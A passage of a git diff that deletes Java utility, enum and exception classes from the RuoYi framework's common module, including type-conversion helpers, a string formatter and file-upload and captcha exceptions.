- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Number toNumber(Object value, Number defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Number) - { - return (Number) value; - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return NumberFormat.getInstance().parse(valueStr); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为Number
- * 如果给定的值为空,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Number toNumber(Object value) - { - return toNumber(value, null); - } - - /** - * 转换为int
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Integer toInt(Object value, Integer defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Integer) - { - return (Integer) value; - } - if (value instanceof Number) - { - return ((Number) value).intValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return Integer.parseInt(valueStr.trim()); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为int
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Integer toInt(Object value) - { - return toInt(value, null); - } - - /** - * 转换为Integer数组
- * - * @param str 被转换的值 - * @return 结果 - */ - public static Integer[] toIntArray(String str) - { - return toIntArray(",", str); - } - - /** - * 转换为Long数组
- * - * @param str 被转换的值 - * @return 结果 - */ - public static Long[] toLongArray(String str) - { - return toLongArray(",", str); - } - - /** - * 转换为Integer数组
- * - * @param split 分隔符 - * @param split 被转换的值 - * @return 结果 - */ - public static Integer[] toIntArray(String split, String str) - { - if (StringUtils.isEmpty(str)) - { - return new Integer[] {}; - } - String[] arr = str.split(split); - final Integer[] ints = new Integer[arr.length]; - for (int i = 0; i < arr.length; i++) - { - final Integer v = toInt(arr[i], 0); - ints[i] = v; - } - return ints; - } - - /** - * 转换为Long数组
- * - * @param split 分隔符 - * @param str 被转换的值 - * @return 结果 - */ - public static Long[] toLongArray(String split, String str) - { - if (StringUtils.isEmpty(str)) - { - return new Long[] {}; - } - String[] arr = str.split(split); - final Long[] longs = new Long[arr.length]; - for (int i = 0; i < arr.length; i++) - { - final Long v = toLong(arr[i], null); - longs[i] = v; - } - return longs; - } - - /** - * 转换为String数组
- * - * @param str 被转换的值 - * @return 结果 - */ - public static String[] toStrArray(String str) - { - return toStrArray(",", str); - } - - /** - * 转换为String数组
- * - * @param split 分隔符 - * @param split 被转换的值 - * @return 结果 - */ - public static String[] toStrArray(String split, String str) - { - return str.split(split); - } - - /** - * 转换为long
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Long toLong(Object value, Long defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Long) - { - return (Long) value; - } - if (value instanceof Number) - { - return ((Number) value).longValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - // 支持科学计数法 - return new BigDecimal(valueStr.trim()).longValue(); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为long
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Long toLong(Object value) - { - return toLong(value, null); - } - - /** - * 转换为double
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Double toDouble(Object value, Double defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Double) - { - return (Double) value; - } - if (value instanceof Number) - { - return ((Number) value).doubleValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - // 支持科学计数法 - return new BigDecimal(valueStr.trim()).doubleValue(); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为double
- * 如果给定的值为空,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Double toDouble(Object value) - { - return toDouble(value, null); - } - - /** - * 转换为Float
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Float toFloat(Object value, Float defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Float) - { - return (Float) value; - } - if (value instanceof Number) - { - return ((Number) value).floatValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return Float.parseFloat(valueStr.trim()); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为Float
- * 如果给定的值为空,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Float toFloat(Object value) - { - return toFloat(value, null); - } - - /** - * 转换为boolean
- * String支持的值为:true、false、yes、ok、no,1,0 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Boolean toBool(Object value, Boolean defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Boolean) - { - return (Boolean) value; - } - String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - valueStr = valueStr.trim().toLowerCase(); - switch (valueStr) - { - case "true": - return true; - case "false": - return false; - case "yes": - return true; - case "ok": - return true; - case "no": - return false; - case "1": - return true; - case "0": - return false; - default: - return defaultValue; - } - } - - /** - * 转换为boolean
- * 如果给定的值为空,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Boolean toBool(Object value) - { - return toBool(value, null); - } - - /** - * 转换为Enum对象
- * 如果给定的值为空,或者转换失败,返回默认值
- * - * @param clazz Enum的Class - * @param value 值 - * @param defaultValue 默认值 - * @return Enum - */ - public static > E toEnum(Class clazz, Object value, E defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (clazz.isAssignableFrom(value.getClass())) - { - @SuppressWarnings("unchecked") - E myE = (E) value; - return myE; - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return Enum.valueOf(clazz, valueStr); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为Enum对象
- * 如果给定的值为空,或者转换失败,返回默认值null
- * - * @param clazz Enum的Class - * @param value 值 - * @return Enum - */ - public static > E toEnum(Class clazz, Object value) - { - return toEnum(clazz, value, null); - } - - /** - * 转换为BigInteger
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static BigInteger toBigInteger(Object value, BigInteger defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof BigInteger) - { - return (BigInteger) value; - } - if (value instanceof Long) - { - return BigInteger.valueOf((Long) value); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return new BigInteger(valueStr); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为BigInteger
- * 如果给定的值为空,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static BigInteger toBigInteger(Object value) - { - return toBigInteger(value, null); - } - - /** - * 转换为BigDecimal
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static BigDecimal toBigDecimal(Object value, BigDecimal defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof BigDecimal) - { - return (BigDecimal) value; - } - if (value instanceof Long) - { - return new BigDecimal((Long) value); - } - if (value instanceof Double) - { - return new BigDecimal((Double) value); - } - if (value instanceof Integer) - { - return new BigDecimal((Integer) value); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return new BigDecimal(valueStr); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为BigDecimal
- * 如果给定的值为空,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static BigDecimal toBigDecimal(Object value) - { - return toBigDecimal(value, null); - } - - /** - * 将对象转为字符串
- * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 - * - * @param obj 对象 - * @return 字符串 - */ - public static String utf8Str(Object obj) - { - return str(obj, CharsetKit.CHARSET_UTF_8); - } - - /** - * 将对象转为字符串
- * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 - * - * @param obj 对象 - * @param charsetName 字符集 - * @return 字符串 - */ - public static String str(Object obj, String charsetName) - { - return str(obj, Charset.forName(charsetName)); - } - - /** - * 将对象转为字符串
- * 1、Byte数组和ByteBuffer会被转换为对应字符串的数组 2、对象数组会调用Arrays.toString方法 - * - * @param obj 对象 - * @param charset 字符集 - * @return 字符串 - */ - public static String str(Object obj, Charset charset) - { - if (null == obj) - { - return null; - } - - if (obj instanceof String) - { - return (String) obj; - } - else if (obj instanceof byte[]) - { - return str((byte[]) obj, charset); - } - else if (obj instanceof Byte[]) - { - byte[] bytes = ArrayUtils.toPrimitive((Byte[]) obj); - return str(bytes, charset); - } - else if (obj instanceof ByteBuffer) - { - return str((ByteBuffer) obj, charset); - } - return obj.toString(); - } - - /** - * 将byte数组转为字符串 - * - * @param bytes byte数组 - * @param charset 字符集 - * @return 字符串 - */ - public static String str(byte[] bytes, String charset) - { - return str(bytes, StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset)); - } - - /** - * 解码字节码 - * - * @param data 字符串 - * @param charset 字符集,如果此字段为空,则解码的结果取决于平台 - * @return 解码后的字符串 - */ - public static String str(byte[] data, Charset charset) - { - if (data == null) - { - return null; - } - - if (null == charset) - { - return new String(data); - } - return new String(data, charset); - } - - /** - * 将编码的byteBuffer数据转换为字符串 - * - * @param data 数据 - * @param charset 字符集,如果为空使用当前系统字符集 - * @return 字符串 - */ - public static String str(ByteBuffer data, String charset) - { - if (data == null) - { - return null; - } - - return str(data, Charset.forName(charset)); - } - - /** - * 将编码的byteBuffer数据转换为字符串 - * - * @param data 数据 - * @param charset 字符集,如果为空使用当前系统字符集 - * @return 字符串 - */ - public static String str(ByteBuffer data, Charset charset) - { - if (null == charset) - { - charset = Charset.defaultCharset(); - } - return charset.decode(data).toString(); - } - - // ----------------------------------------------------------------------- 全角半角转换 - /** - * 半角转全角 - * - * @param input String. - * @return 全角字符串. - */ - public static String toSBC(String input) - { - return toSBC(input, null); - } - - /** - * 半角转全角 - * - * @param input String - * @param notConvertSet 不替换的字符集合 - * @return 全角字符串. - */ - public static String toSBC(String input, Set notConvertSet) - { - char c[] = input.toCharArray(); - for (int i = 0; i < c.length; i++) - { - if (null != notConvertSet && notConvertSet.contains(c[i])) - { - // 跳过不替换的字符 - continue; - } - - if (c[i] == ' ') - { - c[i] = '\u3000'; - } - else if (c[i] < '\177') - { - c[i] = (char) (c[i] + 65248); - - } - } - return new String(c); - } - - /** - * 全角转半角 - * - * @param input String. - * @return 半角字符串 - */ - public static String toDBC(String input) - { - return toDBC(input, null); - } - - /** - * 替换全角为半角 - * - * @param text 文本 - * @param notConvertSet 不替换的字符集合 - * @return 替换后的字符 - */ - public static String toDBC(String text, Set notConvertSet) - { - char c[] = text.toCharArray(); - for (int i = 0; i < c.length; i++) - { - if (null != notConvertSet && notConvertSet.contains(c[i])) - { - // 跳过不替换的字符 - continue; - } - - if (c[i] == '\u3000') - { - c[i] = ' '; - } - else if (c[i] > '\uFF00' && c[i] < '\uFF5F') - { - c[i] = (char) (c[i] - 65248); - } - } - String returnString = new String(c); - - return returnString; - } - - /** - * 数字金额大写转换 先写个完整的然后将如零拾替换成零 - * - * @param n 数字 - * @return 中文大写数字 - */ - public static String digitUppercase(double n) - { - String[] fraction = { "角", "分" }; - String[] digit = { "零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖" }; - String[][] unit = { { "元", "万", "亿" }, { "", "拾", "佰", "仟" } }; - - String head = n < 0 ? "负" : ""; - n = Math.abs(n); - - String s = ""; - for (int i = 0; i < fraction.length; i++) - { - s += (digit[(int) (Math.floor(n * 10 * Math.pow(10, i)) % 10)] + fraction[i]).replaceAll("(零.)+", ""); - } - if (s.length() < 1) - { - s = "整"; - } - int integerPart = (int) Math.floor(n); - - for (int i = 0; i < unit[0].length && integerPart > 0; i++) - { - String p = ""; - for (int j = 0; j < unit[1].length && n > 0; j++) - { - p = digit[integerPart % 10] + unit[1][j] + p; - integerPart = integerPart / 10; - } - s = p.replaceAll("(零.)*零$", "").replaceAll("^$", "零") + unit[0][i] + s; - } - return head + s.replaceAll("(零.)*零元", "元").replaceFirst("(零.)+", "").replaceAll("(零.)+", "零").replaceAll("^整$", "零元整"); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java deleted file mode 100644 index c78ac77..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/StrFormatter.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.ruoyi.common.core.text; - -import com.ruoyi.common.utils.StringUtils; - -/** - * 字符串格式化 - * - * @author ruoyi - */ -public class StrFormatter -{ - public static final String EMPTY_JSON = "{}"; - public static final char C_BACKSLASH = '\\'; - public static final char C_DELIM_START = '{'; - public static final char C_DELIM_END = '}'; - - /** - * 格式化字符串
- * 此方法只是简单将占位符 {} 按照顺序替换为参数
- * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
- * 例:
- * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
- * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
- * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
- * - * @param strPattern 字符串模板 - * @param argArray 参数列表 - * @return 结果 - */ - public static String format(final String strPattern, final Object... argArray) - { - if (StringUtils.isEmpty(strPattern) || StringUtils.isEmpty(argArray)) - { - return strPattern; - } - final int strPatternLength = strPattern.length(); - - // 初始化定义好的长度以获得更好的性能 - StringBuilder sbuf = new StringBuilder(strPatternLength + 50); - - int handledPosition = 0; - int delimIndex;// 占位符所在位置 - for (int argIndex = 0; argIndex < argArray.length; argIndex++) - { - delimIndex = strPattern.indexOf(EMPTY_JSON, handledPosition); - if (delimIndex == -1) - { - if (handledPosition == 0) - { - return strPattern; - } - else - { // 字符串模板剩余部分不再包含占位符,加入剩余部分后返回结果 - sbuf.append(strPattern, handledPosition, strPatternLength); - return sbuf.toString(); - } - } - else - { - if (delimIndex > 0 && strPattern.charAt(delimIndex - 1) == C_BACKSLASH) - { - if (delimIndex > 1 && strPattern.charAt(delimIndex - 2) == C_BACKSLASH) - { - // 转义符之前还有一个转义符,占位符依旧有效 - sbuf.append(strPattern, handledPosition, delimIndex - 1); - sbuf.append(Convert.utf8Str(argArray[argIndex])); - handledPosition = delimIndex + 2; - } - else - { - // 占位符被转义 - argIndex--; - sbuf.append(strPattern, handledPosition, delimIndex - 1); - sbuf.append(C_DELIM_START); - handledPosition = delimIndex + 1; - } - } - else - { - // 正常占位符 - sbuf.append(strPattern, handledPosition, delimIndex); - sbuf.append(Convert.utf8Str(argArray[argIndex])); - handledPosition = delimIndex + 2; - } - } - } - // 加入最后一个占位符后所有的字符 - sbuf.append(strPattern, handledPosition, strPattern.length()); - - return sbuf.toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BinlogEventType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BinlogEventType.java deleted file mode 100644 index 34e956c..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BinlogEventType.java +++ /dev/null @@ -1,15 +0,0 @@ -package com.ruoyi.common.enums; - -public enum BinlogEventType { - INSERT(1,"新增"), - DELETE(2,"删除"), - UPDATE(3,"更新"); - - BinlogEventType(Integer code, String msg) { - this.code = code; - this.msg = msg; - } - - private Integer code; - private String msg; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java deleted file mode 100644 index 10b7306..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessStatus.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.ruoyi.common.enums; - -/** - * 操作状态 - * - * @author ruoyi - * - */ -public enum BusinessStatus -{ - /** - * 成功 - */ - SUCCESS, - - /** - * 失败 - */ - FAIL, -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java deleted file mode 100644 index 2e17c4a..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/BusinessType.java +++ /dev/null @@ -1,59 +0,0 @@ -package com.ruoyi.common.enums; - -/** - * 业务操作类型 - * - * @author ruoyi - */ -public enum BusinessType -{ - /** - * 其它 - */ - OTHER, - - /** - * 新增 - */ - INSERT, - - /** - * 修改 - */ - UPDATE, - - /** - * 删除 - */ - DELETE, - - /** - * 授权 - */ - GRANT, - - /** - * 导出 - */ - EXPORT, - - /** - * 导入 - */ - IMPORT, - - /** - * 强退 - */ - FORCE, - - /** - * 生成代码 - */ - GENCODE, - - /** - * 清空数据 - */ - CLEAN, -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java deleted file mode 100644 index 33f22e4..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/DataSourceType.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.ruoyi.common.enums; - -/** - * 数据源 - * - * @author ruoyi - */ -public enum DataSourceType -{ - /** - * 主库 - */ - MASTER, - - /** - * 从库 - */ - SLAVE, - - SHARDING -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java deleted file mode 100644 index be6f739..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/HttpMethod.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.ruoyi.common.enums; - -import java.util.HashMap; -import java.util.Map; -import org.springframework.lang.Nullable; - -/** - * 请求方式 - * - * @author ruoyi - */ -public enum HttpMethod -{ - GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS, TRACE; - - private static final Map mappings = new HashMap<>(16); - - static - { - for (HttpMethod httpMethod : values()) - { - mappings.put(httpMethod.name(), httpMethod); - } - } - - @Nullable - public static HttpMethod resolve(@Nullable String method) - { - return (method != null ? mappings.get(method) : null); - } - - public boolean matches(String method) - { - return (this == resolve(method)); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java deleted file mode 100644 index bdd143c..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/OperatorType.java +++ /dev/null @@ -1,24 +0,0 @@ -package com.ruoyi.common.enums; - -/** - * 操作人类别 - * - * @author ruoyi - */ -public enum OperatorType -{ - /** - * 其它 - */ - OTHER, - - /** - * 后台用户 - */ - MANAGE, - - /** - * 手机端用户 - */ - MOBILE -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java deleted file mode 100644 index 48173b6..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/enums/UserStatus.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.ruoyi.common.enums; - -/** - * 用户状态 - * - * @author ruoyi - */ -public enum UserStatus -{ - OK("0", "正常"), DISABLE("1", "停用"), DELETED("2", "删除"), FRONT("3", "前端用户-不可登入后台"); - - private final String code; - private final String info; - - UserStatus(String code, String info) - { - this.code = code; - this.info = info; - } - - public String getCode() - { - return code; - } - - public String getInfo() - { - return info; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/BaseException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/BaseException.java deleted file mode 100644 index 92d6ae2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/BaseException.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.ruoyi.common.exception; - -import com.ruoyi.common.utils.MessageUtils; -import com.ruoyi.common.utils.StringUtils; - -/** - * 基础异常 - * - * @author ruoyi - */ -public class BaseException extends RuntimeException -{ - private static final long serialVersionUID = 1L; - - /** - * 所属模块 - */ - private String module; - - /** - * 错误码 - */ - private String code; - - /** - * 错误码对应的参数 - */ - private Object[] args; - - /** - * 错误消息 - */ - private String defaultMessage; - - public BaseException(String module, String code, Object[] args, String defaultMessage) - { - this.module = module; - this.code = code; - this.args = args; - this.defaultMessage = defaultMessage; - } - - public BaseException(String module, String code, Object[] args) - { - this(module, code, args, null); - } - - public BaseException(String module, String defaultMessage) - { - this(module, null, null, defaultMessage); - } - - public BaseException(String code, Object[] args) - { - this(null, code, args, null); - } - - public BaseException(String defaultMessage) - { - this(null, null, null, defaultMessage); - } - - @Override - public String getMessage() - { - String message = null; - if (!StringUtils.isEmpty(code)) - { - message = MessageUtils.message(code, args); - } - if (message == null) - { - message = defaultMessage; - } - return message; - } - - public String getModule() - { - return module; - } - - public String getCode() - { - return code; - } - - public Object[] getArgs() - { - return args; - } - - public String getDefaultMessage() - { - return defaultMessage; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/CustomException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/CustomException.java deleted file mode 100644 index d96c7ba..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/CustomException.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.ruoyi.common.exception; - -/** - * 自定义异常 - * - * @author ruoyi - */ -public class CustomException extends RuntimeException -{ - private static final long serialVersionUID = 1L; - - private Integer code; - - private String message; - - public CustomException(String message) - { - this.message = message; - } - - public CustomException(String message, Integer code) - { - this.message = message; - this.code = code; - } - - public CustomException(String message, Throwable e) - { - super(message, e); - this.message = message; - } - - @Override - public String getMessage() - { - return message; - } - - public Integer getCode() - { - return code; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/DemoModeException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/DemoModeException.java deleted file mode 100644 index f6ad2ab..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/DemoModeException.java +++ /dev/null @@ -1,15 +0,0 @@ -package com.ruoyi.common.exception; - -/** - * 演示模式异常 - * - * @author ruoyi - */ -public class DemoModeException extends RuntimeException -{ - private static final long serialVersionUID = 1L; - - public DemoModeException() - { - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/UtilException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/UtilException.java deleted file mode 100644 index 980fa46..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/UtilException.java +++ /dev/null @@ -1,26 +0,0 @@ -package com.ruoyi.common.exception; - -/** - * 工具类异常 - * - * @author ruoyi - */ -public class UtilException extends RuntimeException -{ - private static final long serialVersionUID = 8247610319171014183L; - - public UtilException(Throwable e) - { - super(e.getMessage(), e); - } - - public UtilException(String message) - { - super(message); - } - - public UtilException(String message, Throwable throwable) - { - super(message, throwable); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileException.java deleted file mode 100644 index 75d6dbf..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileException.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.ruoyi.common.exception.file; - -import com.ruoyi.common.exception.BaseException; - -/** - * 文件信息异常类 - * - * @author ruoyi - */ -public class FileException extends BaseException -{ - private static final long serialVersionUID = 1L; - - public FileException(String code, Object[] args) - { - super("file", code, args, null); - } - -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileNameLengthLimitExceededException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileNameLengthLimitExceededException.java deleted file mode 100644 index 70e0ec9..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileNameLengthLimitExceededException.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.common.exception.file; - -/** - * 文件名称超长限制异常类 - * - * @author ruoyi - */ -public class FileNameLengthLimitExceededException extends FileException -{ - private static final long serialVersionUID = 1L; - - public FileNameLengthLimitExceededException(int defaultFileNameLength) - { - super("upload.filename.exceed.length", new Object[] { defaultFileNameLength }); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileSizeLimitExceededException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileSizeLimitExceededException.java deleted file mode 100644 index ec6ab05..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/FileSizeLimitExceededException.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.common.exception.file; - -/** - * 文件名大小限制异常类 - * - * @author ruoyi - */ -public class FileSizeLimitExceededException extends FileException -{ - private static final long serialVersionUID = 1L; - - public FileSizeLimitExceededException(long defaultMaxSize) - { - super("upload.exceed.maxSize", new Object[] { defaultMaxSize }); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/InvalidExtensionException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/InvalidExtensionException.java deleted file mode 100644 index 8f63a79..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/file/InvalidExtensionException.java +++ /dev/null @@ -1,71 +0,0 @@ -package com.ruoyi.common.exception.file; - -import java.util.Arrays; -import org.apache.commons.fileupload.FileUploadException; - -/** - * 文件上传 误异常类 - * - * @author ruoyi - */ -public class InvalidExtensionException extends FileUploadException -{ - private static final long serialVersionUID = 1L; - - private String[] allowedExtension; - private String extension; - private String filename; - - public InvalidExtensionException(String[] allowedExtension, String extension, String filename) - { - super("filename : [" + filename + "], extension : [" + extension + "], allowed extension : [" + Arrays.toString(allowedExtension) + "]"); - this.allowedExtension = allowedExtension; - this.extension = extension; - this.filename = filename; - } - - public String[] getAllowedExtension() - { - return allowedExtension; - } - - public String getExtension() - { - return extension; - } - - public String getFilename() - { - return filename; - } - - public static class InvalidImageExtensionException extends InvalidExtensionException - { - private static final long serialVersionUID = 1L; - - public InvalidImageExtensionException(String[] allowedExtension, String extension, String filename) - { - super(allowedExtension, extension, filename); - } - } - - public static class InvalidFlashExtensionException extends InvalidExtensionException - { - private static final long serialVersionUID = 1L; - - public InvalidFlashExtensionException(String[] allowedExtension, String extension, String filename) - { - super(allowedExtension, extension, filename); - } - } - - public static class InvalidMediaExtensionException extends InvalidExtensionException - { - private static final long serialVersionUID = 1L; - - public InvalidMediaExtensionException(String[] allowedExtension, String extension, String filename) - { - super(allowedExtension, extension, filename); - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/job/TaskException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/job/TaskException.java deleted file mode 100644 index a567b40..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/job/TaskException.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.ruoyi.common.exception.job; - -/** - * 计划策略异常 - * - * @author ruoyi - */ -public class TaskException extends Exception -{ - private static final long serialVersionUID = 1L; - - private Code code; - - public TaskException(String msg, Code code) - { - this(msg, code, null); - } - - public TaskException(String msg, Code code, Exception nestedEx) - { - super(msg, nestedEx); - this.code = code; - } - - public Code getCode() - { - return code; - } - - public enum Code - { - TASK_EXISTS, NO_TASK_EXISTS, TASK_ALREADY_STARTED, UNKNOWN, CONFIG_ERROR, TASK_NODE_NOT_AVAILABLE - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaException.java deleted file mode 100644 index 389dbc7..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaException.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.common.exception.user; - -/** - * 验证码错误异常类 - * - * @author ruoyi - */ -public class CaptchaException extends UserException -{ - private static final long serialVersionUID = 1L; - - public CaptchaException() - { - super("user.jcaptcha.error", null); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaExpireException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaExpireException.java deleted file mode 100644 index 85f9486..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/CaptchaExpireException.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.common.exception.user; - -/** - * 验证码失效异常类 - * - * @author ruoyi - */ -public class CaptchaExpireException extends UserException -{ - private static final long serialVersionUID = 1L; - - public CaptchaExpireException() - { - super("user.jcaptcha.expire", null); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserException.java 